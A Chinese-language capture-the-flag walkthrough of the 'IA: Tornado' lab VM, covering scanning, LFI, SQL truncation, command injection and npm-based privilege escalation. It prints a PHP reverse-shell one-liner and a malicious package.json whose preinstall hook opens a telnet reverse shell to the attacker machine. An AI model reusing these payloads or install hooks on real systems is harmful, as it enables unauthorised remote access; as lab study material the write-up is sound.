IA Tornado
IA: TORNADO
一、基本信息
名称:IA: Tornado
发布日期:2020.12.20
作者:InfoSec Articles
系列:IA
推特: @infosecarticles
二、靶机简介
Flags:
catchme:/~/user.txt
root:/root/root.txt难度:中等
三、文件信息
文件名:tornado.ova
文件大小:1019MB
下载地址:
MD5: 86B49BD71057DB337A85C1EC1BAB1076
SHA1: A74D80B7BDE2B4DA63AAF1E6B4714E43D6862409
四、镜像信息
格式:Virtual Machine (Virtualbox - OVA)
操作系统:Linux(debain)
五、网络信息
DHCP服务:可用
IP地址:自动分配
六、环境配置
1.将靶机tornado和攻击机kali2021在VirtualBox下设置为仅主机模式,使用DHCP分配ip地址:
七、攻略步骤
信息探测
1.因为是没有直接告知我们靶机ip的,所以要先进行主机探测,先查看下kali分配到的ip,在进行网段扫描,命令如下,得到靶机ip为192.168.56.102:
1 ifconfig,查看kali分配到的ip
1 nmap -sP 192.168.56.0/24,扫描靶机ip2.再进行端口扫描,发现只开放了22和80端口,访问主页,还是Apache初始页,源码没有更多信息:
1 nmap -T4 -sC -sV -p- --min-rate=1000 192.168.56.132 | tee nmapscan,端口扫描3.最后再进行一下目录扫描,发现/bluesky目录,页面源码也没发现更多可用信息:
1 gobuster dir -u http://192.168.56.132 -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
文件包含漏洞发现
1.我们继续对/bluesky目录进行扫描,发现有登录页与注册页,我们在注册页随意注册然后登录:
1 gobuster dir -u http://192.168.56.132/bluesky -x html,php,bak,txt --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt2.登录后,在PORTFOLIO页能发现提示存在LFI,并且在源码内有路径提示:
3.利用LFI,我们可以获取到一些登录账号:
1 http://192.168.56.132/~tornado/imp.txt
SQL截断攻击
1.然而,当我们使用这些账号,会发现这些账号都已经被注册了,这时我在注册页源码发现前端对email长度做了最大限制:
2.这时可以想到是否存在SQL截断攻击的利用,修改maxlength后测试发现,能够将jacob@tornado用户的密码更改:
3.成功登录到jacob@tornado:
命令注入,构建shell
1.现在我们可以在CONTACT页面输入payload,并在kali开启对应监听,获得shell:
1
2
3
4 php -r '$sock=fsockopen("192.168.56.102",9002);exec("/bin/sh -i <&3 >&3 2>&3");'
nc -lvnp 9002
python -c 'import pty; pty.spawn("/bin/bash");'
初步提权
1.查看可用文件权限,发现npm可以使用:
1 sudo -l2.先在kali下写一个json文件,如package.json,开启http服务:
1
2
3
4
5
6
7
8
9
10
11
12 vim package.json
{
"name": "jin",
"version": "1.0.0",
"description": "follow jin on medium and twitter",
"main": "index.js",
"scripts": {
"preinstall": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet 192.168.56.102 9003 > /tmp/f"
}
}
python3 -m http.server 80013.在靶机/tmp目录下建立一个json目录,然后获取json文件,再利用npm触发shell:
1
2
3
4
5
6
7 cd /tmp
mkdir jin
wget http://192.168.56.102:8001/package.json
mv package.json jin
chmod +s jin/
sudo -u catchme /usr/bin/npm i /tmp/jin — unsafe
4.可以成功地在catchme用户目录下找到第一个flag,user.txt:
1
2
3 cd ~
ls -al
cat user.txt
root提权
1.查看同目录下的enc.py文件,发现是个加密程序,告知我们密文,粗略阅读程序,明显是凯撒密码的变种,我们利用https://www.boxentriq.com/code-breaking/caesar-cipher,不使用key自动破解:
2.但自动破解出来的并不是密码,但非常接近了,我们回看程序,对比自动解出的字串,得到key是u,而w是在u后的字符,不应该变化,可分析出最后密码是idkrootpassword:
3.最后能在/root目录下发现第二个flag,root.txt:
1
2
3 cd /root
ls -al
cat root.txt